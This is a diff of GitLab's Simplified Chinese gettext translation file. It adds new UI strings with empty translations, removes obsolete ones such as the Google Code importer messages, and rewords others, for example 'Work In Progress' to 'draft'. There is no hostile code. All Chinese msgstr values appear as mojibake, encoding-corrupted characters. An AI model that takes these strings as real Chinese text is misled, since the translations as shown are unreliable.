@@ -16046,18 +16426,12 @@ msgstr "Manifest文件导入"
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "无法ä¿å­˜è®®é¢˜çš„顺åº"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgstr ""
+
msgid "Map a FogBugz account ID to a GitLab user"
msgstr "å°†FogBugzå¸æˆ·ID映射为GitLab用户"
-msgid "Map a Google Code user to a GitLab user"
-msgstr "将Google Code用户映射为GitLab用户"
-
-msgid "Map a Google Code user to a full email address"
-msgstr "å°†Google Code用户映射为完整的电å­é‚®ä»¶åœ°å€"
-
-msgid "Map a Google Code user to a full name"
-msgstr "å°†Google Code用户映射为全å"
-
msgid "Mar"
msgstr "3月"
@@ -16118,8 +16492,8 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr "标记删除于 - %{deletion_time}"
-msgid "Marked this %{noun} as Work In Progress."
-msgstr "æ­¤%{noun}已标记为“正在进行中â€ã€‚"
+msgid "Marked this %{noun} as a draft."
+msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
msgstr "标记这个议题为%{duplicate_param}çš„é‡å¤é¡¹ã€‚"
@@ -16130,8 +16504,8 @@ msgstr "将此议题标记为%{issue_ref}的相关议题。"
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
-msgstr "将此%{noun}标记为“正在进行中â€ã€‚"
+msgid "Marks this %{noun} as a draft."
+msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
msgstr "将此议题标记为 %{duplicate_reference} çš„é‡å¤ã€‚"
@@ -16178,6 +16552,9 @@ msgstr "建议:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr "æ­¤æœåŠ¡å…许用户通过在Mattermost中输入斜æ å‘½ä»¤æ¥å¯¹è¯¥é¡¹ç›®æ‰§è¡Œå¸¸è§æ“作。"
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§ç¾¤ç»„导出下载请求数"
@@ -16202,9 +16579,6 @@ msgstr "最高访问级别"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr "有æƒè®¿é—®%{strong_start}%{group_name}%{strong_end}çš„æˆå‘˜"
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr "自动åˆå¹¶(%{strategy})"
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr "åˆå¹¶æ交消æ¯"
@@ -16535,6 +16936,9 @@ msgstr "åˆå¹¶è¯·æ±‚用于æ出对项目的更改并与他人进行讨论"
msgid "Merge requests are read-only in a secondary Geo node"
msgstr "åˆå¹¶è¯·æ±‚在Geo次è¦èŠ‚点中为åªè¯»"
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr "当æµæ°´çº¿æˆåŠŸæ—¶åˆå¹¶"
@@ -17089,6 +17493,9 @@ msgstr "里程碑列表显示所选里程碑的所有议题。"
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr "群组里程碑"
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "未找到里程碑 %{milestoneTitle}"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr "处ç†ä¸­çš„议题(打开和已分é…)"
@@ -17227,12 +17637,6 @@ msgstr "在我们预先安排更多镜åƒä¹‹å‰å¯ç”¨çš„最å°å®¹é‡ã€‚"
msgid "Minimum interval in days"
msgstr "最å°é—´éš”(天)"
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr "最å°é•¿åº¦ä¸º%{minimum_password_length}个字符"
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr "最å°é•¿åº¦ä¸º%{minimum_password_length}个字符。"
-
msgid "Minimum password length (number of characters)"
msgstr "密ç æœ€å°é•¿åº¦ (字符数)"
@@ -17290,8 +17694,8 @@ msgstr "添加SSH密钥"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "ä¸å†æ˜¾ç¤º"
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "在您的个人资料中添加SSH密钥之å‰ï¼Œæ‚¨ä¸èƒ½é€šè¿‡SSHæ¥æ‹‰å–或推é€é¡¹ç›®ä»£ç ã€‚"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
+msgstr ""
msgid "ModalButton|Add projects"
msgstr "添加项目"
@@ -17386,6 +17790,9 @@ msgstr "下移所选的项目"
msgid "Move selection up"
msgstr "上移所选的项目"
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr "将此议题移至å¦ä¸€ä¸ªé¡¹ç›®ã€‚"
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr "退出并登录到其他账å·"
msgid "Need help?"
msgstr "如需帮助:"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr "需è¦å…³æ³¨"
@@ -17769,7 +18182,7 @@ msgstr "从ä¸"
msgid "New"
msgstr "新增"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr "新建需求"
msgid "New response for issue #%{issue_iid}:"
msgstr "议题#%{issue_iid}的新回å¤ï¼š"
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr "已生æˆæ–°çš„Runner注册令牌ï¼"
@@ -18025,9 +18441,6 @@ msgstr "无法连接到GitalyæœåŠ¡å™¨ï¼Œè¯·æ£€æŸ¥ç›¸å…³æ—¥å¿—ï¼"
msgid "No containers available"
msgstr "没有å¯ç”¨çš„容器"
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr "无贡献"
@@ -18211,9 +18624,6 @@ msgstr "没有找到Webhook,请通过上é¢è¡¨å•æ·»åŠ ã€‚"
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr "ä¸ç”¨æ‹…心,您现在ä»ç„¶å¯ä»¥ä½¿ç”¨%{strong}%{plan_name}%{strong_close}的所有功能。您有%{remaining_days}æ¥æ›´æ–°æ‚¨çš„订阅。"
-msgid "No, directly import the existing email addresses and usernames."
-msgstr "å¦, 请直接导入现有电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å。"
-
msgid "No. of commits"
msgstr "æ交次数"
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr "尚未处ç†æ‰€æœ‰æ•°æ®ï¼Œå› æ­¤æ‰€é€‰æ—¶é—´èŒƒå›´å†…图表的ä¸ä¸€å®šå®Œå…¨å‡†ç¡®ã€‚"
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "æ•°æ®ä¸è¶³"
@@ -18268,6 +18681,9 @@ msgstr "æ•°æ®ä¸è¶³"
msgid "Not found."
msgstr "未找到。"
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr "还没有准备好。请ç¨åŽå†è¯•ã€‚"
@@ -18280,6 +18696,9 @@ msgstr "备注"
msgid "Note parameters are invalid: %{errors}"
msgstr "说明å‚数无效: %{errors}"
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "请注æ„,此邀请已å‘é€è‡³%{mail_to_invite_email},但您当å‰ä½¿ç”¨ç”µå­é‚®ä»¶%{mail_to_current_user}以%{link_to_current_user} 登录。"
@@ -18319,6 +18738,9 @@ msgstr "仅显示历å²è®°å½•"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr "自您开始编辑以æ¥ï¼Œæ­¤è¯„论已更改,请查看 %{open_link}更新过的评论%{close_link} 以确ä¿ä¿¡æ¯ä¸ä¼šä¸¢å¤±"
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr "未找到任何信æ¯â€¦"
@@ -18355,9 +18777,15 @@ msgstr "æµæ°´çº¿å¤±è´¥"
msgid "NotificationEvent|Fixed pipeline"
msgstr "ä¿®å¤çš„æµæ°´çº¿"
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "åˆå¹¶è¯·æ±‚被åˆå¹¶"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "æ–°å²è¯—"
@@ -18373,6 +18801,9 @@ msgstr "新建评论"
msgid "NotificationEvent|New release"
msgstr "æ–°å‘布"
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "é‡æ–°æŒ‡æ´¾è®®é¢˜"
@@ -18382,6 +18813,9 @@ msgstr "é‡æ–°æŒ‡æ´¾åˆå¹¶è¯·æ±‚"
msgid "NotificationEvent|Reopen issue"
msgstr "é‡å¯è®®é¢˜"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "æµæ°´çº¿æˆåŠŸå®Œæˆ"
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr "进度正常"
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr "创建新的DAST扫æ"
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr "计划或立å³å¯¹ç›®æ ‡ç«™ç‚¹è¿è¡Œæ‰«æ。当å‰å¯ç”¨çš„按需扫æ类型: DAST。%{helpLinkStart}更多信æ¯%{helpLinkEnd}"
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,8 +19035,8 @@ msgstr "项目永久删除åŽï¼Œå°†æ— æ³•æ¢å¤ã€‚您将丢失该项目的仓库
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr "仓库导入åŽï¼Œå¯ä»¥é€šè¿‡SSH进行镜åƒã€‚点击%{link_start}此处%{link_end}了解更多."
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
-msgstr "删除åŽå°†æ— æ³•æ¢å¤æ´¾ç”Ÿå…³ç³»ï¼Œæ‚¨å°†æ— æ³•å†å‘æºé¡¹ç›®å‘é€åˆå¹¶è¯·æ±‚。"
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
+msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
msgstr "导出的文件准备就绪åŽï¼Œæ‚¨å°†æ”¶åˆ°å¸¦æœ‰ä¸‹è½½é“¾æŽ¥çš„通知电å­é‚®ä»¶ï¼Œæˆ–者您å¯ä»¥ä»Žæ­¤é¡µé¢ä¸‹è½½ã€‚"
@@ -18596,9 +19057,6 @@ msgstr "您的一个或多个个人访问令牌已被å–消"
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr "您的一个或多个%{provider}项目无法直接导入GitLab,因为它们使用Subversion或Mercurial进行版本控制,而ä¸æ˜¯Git。"
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr "您的一个或多个Google Code项目无法直接导入GitLab,因为它们使用Subversion或Mercurial进行版本控制,而ä¸æ˜¯Git。"
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr "有一个或多个ä¾èµ–项文件ä¸æ”¯æŒï¼Œå¹¶ä¸”ä¾èµ–项列表å¯èƒ½ä¸å®Œæ•´ã€‚以下是支æŒçš„文件类型列表。"
@@ -18680,6 +19138,9 @@ msgstr "å¼€å¯çš„议题"
msgid "Open raw"
msgstr "打开原始文件"
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "打开侧边æ "
@@ -18746,9 +19207,6 @@ msgstr "å¯é€‰å‚数“variablesâ€å¿…须是哈希。例如:variables[key1]=va
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "您å¯ä»¥é€‰æ‹© %{link_to_customize} FogBugz的电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å如何被导入到GitLab。"
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr "您也å¯ä»¥%{link_to_customize} FogBugz的电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å导入GitLabçš„æ–¹å¼ã€‚"
-
msgid "Options"
msgstr "æ“作"
@@ -18794,6 +19252,9 @@ msgstr "请安装一个%{browser_link_start}支æŒçš„网页æµè§ˆå™¨%{browser_li
msgid "Outdent"
msgstr "å‡å°‘缩进"
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr "覆盖"
@@ -18950,6 +19411,9 @@ msgstr "关于Nuget注册表的更多信æ¯ï¼Œ%{linkStart}请è§æ–‡æ¡£%{linkEnd}
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "关于PyPi注册表的更多信æ¯ï¼Œ%{linkStart}请è§æ–‡æ¡£%{linkEnd}。"
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "如果尚未é…置,需è¦å°†ä»¥ä¸‹å†…容添加到%{codeStart}.pypirc%{codeEnd}文件中。"
@@ -19064,6 +19528,9 @@ msgstr "Composer"
msgid "PackageType|Conan"
msgstr "Conan"
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr "Maven"
@@ -19088,9 +19555,6 @@ msgstr "找ä¸åˆ°é¡µé¢"
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr "页é¢å·²æˆåŠŸåˆ é™¤"
-
msgid "PagerDutySettings|Active"
msgstr "å¯ç”¨"
@@ -19355,6 +19819,9 @@ msgstr "æµæ°´çº¿è®¡åˆ’"
msgid "Pipeline minutes quota"
msgstr "æµæ°´çº¿åˆ†é’Ÿæ•°é…é¢"
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr "æµæ°´çº¿è®¢é˜…"
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "CI é…置检查(CI Lint)"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr "å­æµæ°´çº¿"
@@ -19511,6 +19975,9 @@ msgstr "载入æµæ°´çº¿"
msgid "Pipelines|More Information"
msgstr "更多信æ¯"
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "项目缓存é‡ç½®æˆåŠŸã€‚"
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr "è¿è¡Œæµæ°´çº¿"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "清ç†runner缓存时å‘生错误。"
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr "ç›®å‰æ²¡æœ‰å·²å®Œæˆçš„æµæ°´çº¿ã€‚"
@@ -19757,6 +20233,9 @@ msgstr "请选择无特殊字符的群组URL。"
msgid "Please complete your profile with email address"
msgstr "请在您的个人资料中填写电å­é‚®ä»¶åœ°å€"
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr "请è”系您的管ç†å‘˜ã€‚"
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr "请将他们%{linkStart}转æ¢ä¸ºGit%{linkEnd},然åŽå†æ¬¡æ‰§è¡Œ%{linkToImportFlow}。"
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr "请将它们先在Google Code中转为Git, 然åŽå†æ¬¡ä½¿ç”¨%{link_to_import_flow}。"
-
msgid "Please create a password for your new account."
msgstr "请为您的新å¸æˆ·åˆ›å»ºå¯†ç ã€‚"
@@ -19931,18 +20407,12 @@ msgstr "选择项目概览页é¢ä¸­æ‚¨æƒ³çœ‹åˆ°çš„内容。"
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr "自定义与第三方æœåŠ¡çš„集æˆã€‚"
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "自定义应用程åºé¡¶éƒ¨å’Œå¯¼èˆªä¾§è¾¹æ çš„外观。"
msgid "Preferences|Display time in 24-hour format"
msgstr "以24å°æ—¶æ ¼å¼æ˜¾ç¤ºæ—¶é—´"
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr "å¯ç”¨ä»£ç è§†å›¾çš„集æˆä»£ç æ™ºèƒ½åŠŸèƒ½"
-
msgid "Preferences|For example: 30 mins ago."
msgstr "例如:30分钟å‰"
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr "一次仅显示一个文件,而ä¸æ˜¯æ‰€æœ‰æ›´æ”¹çš„文件。è¦åœ¨æ–‡ä»¶ä¹‹é—´åˆ‡æ¢ï¼Œè¯·ä½¿ç”¨æ–‡ä»¶æµè§ˆå™¨ã€‚"
-msgid "Preferences|Integrations"
-msgstr "集æˆ"
-
msgid "Preferences|Layout width"
msgstr "布局宽度"
@@ -19976,9 +20443,6 @@ msgstr "在åˆå¹¶è¯·æ±‚çš„å˜æ›´æ ‡ç­¾ä¸Šä¸€æ¬¡åªæ˜¾ç¤ºä¸€ä¸ªæ–‡ä»¶"
msgid "Preferences|Show whitespace changes in diffs"
msgstr "显示差异中的空白å˜åŒ–"
-msgid "Preferences|Sourcegraph"
-msgstr "Sourcegraph"
-
msgid "Preferences|Syntax highlighting theme"
msgstr "语法高亮主题"
@@ -20033,6 +20497,9 @@ msgstr "阻止项目派生到当å‰ç¾¤ç»„以外"
msgid "Prevent users from changing their profile name"
msgstr "ç¦æ­¢ç”¨æˆ·æ›´æ”¹é…置文件å称"
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr "阻止用户在GitLab进行维护时进行写入æ“作。"
@@ -20162,6 +20629,24 @@ msgstr "用户资料"
msgid "Profile Settings"
msgstr "个人资料设置"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr "于"
@@ -20171,6 +20656,9 @@ msgstr "您å³å°†æ°¸ä¹…删除 %{yourAccount},以åŠä¸Žæ‚¨çš„å¸æˆ·å…³è”的所
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "您将更改用户å %{currentUsernameBold} 为 %{newUsernameBold}。é…置文件和项目将é‡å®šå‘到 %{newUsername} 命å空间,但是一旦 %{currentUsername} 命å空间被å¦ä¸€ä¸ªç”¨æˆ·æˆ–组注册,此é‡å®šå‘将过期。请尽快更新您的远端Git仓库。"
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr "å³å°†åˆ é™¤å¤´åƒã€‚确定继续å—?"
msgid "Profiles|Bio"
msgstr "自我介ç»"
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "更改用户å"
@@ -20558,9 +21049,6 @@ msgstr "项目头åƒ"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr "项目ä¸èƒ½åˆ†äº«ç»™å½“å‰æ‰€åœ¨çš„群组或其任一级父群组。"
-msgid "Project clone URL"
-msgstr "项目克隆URL"
-
msgid "Project configuration, excluding integrations"
msgstr "项目é…置,ä¸åŒ…括集æˆ"
@@ -20813,8 +21301,11 @@ msgstr "ä¸å…许"
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr "默认å¯ç”¨\"删除æºåˆ†æ”¯\"选项"
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
-msgstr "å¯ç”¨åˆå¹¶ç»“果的åˆå¹¶åˆ—车和æµæ°´çº¿åŠŸèƒ½"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
+msgstr ""
msgid "ProjectSettings|Encourage"
msgstr "建议"
@@ -20855,6 +21346,9 @@ msgstr "Git大文件存储 (LFS)"
msgid "ProjectSettings|Global"
msgstr "全局"
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr "内部"
@@ -20915,9 +21409,6 @@ msgstr "用于项目文档的Pages"
msgid "ProjectSettings|Pipelines"
msgstr "æµæ°´çº¿"
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr "åˆå¹¶è¯·æ±‚çš„æµæ°´çº¿å¿…须在CI/CDé…置文件中å¯ç”¨ï¼Œå¦åˆ™æµæ°´çº¿å¯èƒ½æ— æ³•è§£æžæˆ–丢弃。"
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "æµæ°´çº¿å¿…é¡»æˆåŠŸ"
@@ -20939,6 +21430,12 @@ msgstr "仓库"
msgid "ProjectSettings|Require"
msgstr "å¿…é¡»"
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr "在åˆå¹¶è¯·æ±‚中设置此选项的默认行为和å¯ç”¨æ€§ï¼Œæ‰€åšçš„更改也适用于现有的åˆå¹¶è¯·æ±‚。"
@@ -21008,6 +21505,9 @@ msgstr "查看和编辑此项目中的文件"
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr "查看和编辑此项目中的文件。éžé¡¹ç›®æˆå‘˜åªæœ‰è¯»å–æƒé™"
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr "当出现冲çªæ—¶ï¼Œç”¨æˆ·å¯ä»¥é€‰æ‹©rebase"
@@ -21389,6 +21889,9 @@ msgstr "å°†ç§å¯†è®®é¢˜å‡çº§ä¸ºéžç§å¯†å²è¯—"
msgid "Promote issue to an epic"
msgstr "将议题å‡çº§ä¸ºå²è¯—"
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "å‡çº§åˆ°ç¾¤ç»„标记"
@@ -21704,6 +22207,9 @@ msgstr "推é€äº‹ä»¶"
msgid "Push project from command line"
msgstr "从命令行推é€é¡¹ç›®"
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "通过推é€åˆ›å»ºé¡¹ç›®"
@@ -21857,6 +22363,9 @@ msgstr "æ¢å¤ç "
msgid "Redirect to SAML provider to test configuration"
msgstr "跳转到SAML供应商以测试é…ç½®"
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr "é™ä½Žé¡¹ç›®å¯è§æ€§"
@@ -21939,9 +22448,6 @@ msgstr "您的个人资料"
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr "æ ¹æ®åˆè§„框架对作者/æ交者的核准制定规则。åªèƒ½åœ¨å®žä¾‹ä¸€çº§è¿›è¡Œä¿®æ”¹ã€‚"
-
msgid "Reindexing status"
msgstr "é‡å»ºç´¢å¼•çŠ¶æ€"
@@ -22015,6 +22521,9 @@ msgstr "Runbook"
msgid "ReleaseAssetLinkType|Runbooks"
msgstr "Runbook"
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "å‘布"
@@ -22042,9 +22551,6 @@ msgstr "ä¿å­˜å‘布详细信æ¯æ—¶å‡ºé”™"
msgid "Remediations"
msgstr "ä¿®å¤æŽªæ–½"
-msgid "Remember me"
-msgstr "è®°ä½è´¦å·"
-
msgid "Remind later"
msgstr "ç¨åŽæ醒"
@@ -22249,9 +22755,6 @@ msgstr "删除截止日期."
msgid "Removes time estimate."
msgstr "删除时间估计。"
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
